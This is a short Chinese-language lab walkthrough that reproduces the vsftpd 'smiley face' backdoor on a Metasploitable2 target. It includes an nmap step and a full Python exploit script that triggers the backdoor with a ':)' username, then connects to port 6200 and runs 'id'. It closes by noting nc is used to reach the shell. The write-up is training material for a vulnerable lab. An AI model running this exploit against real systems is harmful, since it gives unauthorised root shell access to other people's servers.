笑臉漏洞復現
本實驗以Metasploitable2靶機為實驗物件
在前面的實驗中我們已經獲取到Metasploitable2靶機的IP地址,這裡不再多做贅述。
首先使用nmap -sV檢視靶機目前開放的埠及其版本
之後在kali中建立以下python檔案指令碼
(來源:csdn@十門)
import socket
import time
def connect_to_ftp(host, port):
try:
# 連線到FTP伺服器
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((host, port))
print(f"成功連線到FTP伺服器 {host}:{port}")
# 接收FTP歡迎訊息
response = ftp_socket.recv(1024).decode()
print(f"FTP伺服器響應: {response}")
# 傳送惡意使用者名稱
ftp_socket.send(b'USER hacker:)\r\n')
time.sleep(1)
# 傳送密碼
ftp_socket.send(b'PASS anypassword\r\n')
time.sleep(1)
response = ftp_socket.recv(1024).decode()
print(f"FTP響應: {response}")
# 檢查是否能夠連線到後門shell
return check_backdoor_shell(host)
except Exception as e:
print(f"連線FTP伺服器失敗: {e}")
def check_backdoor_shell(host):
try:
# 連線到6200埠,後門shell可能開啟
shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_socket.connect((host, 6200))
print("後門shell已開啟!連線到6200埠成功。")
# 向shell傳送命令,獲取root許可權
shell_socket.send(b'id\n')
time.sleep(1)
response = shell_socket.recv(1024).decode()
print(f"從shell獲得的響應: {response}")
shell_socket.close()
return True
except Exception as e:
print(f"連線6200埠失敗: {e}")
return False
if __name__ == "__main__":
target_host = "********" # 下載的Metasploitable2的IP地址,記得自己修改
target_port = 21 # FTP預設埠
connect_to_ftp(target_host, target_port)
在kali中啟動以上指令碼,發現成功連線至6200埠,至此,我們可以確定該漏洞存在
之後我們使用nc命令進行漏洞復現,連線至6200埠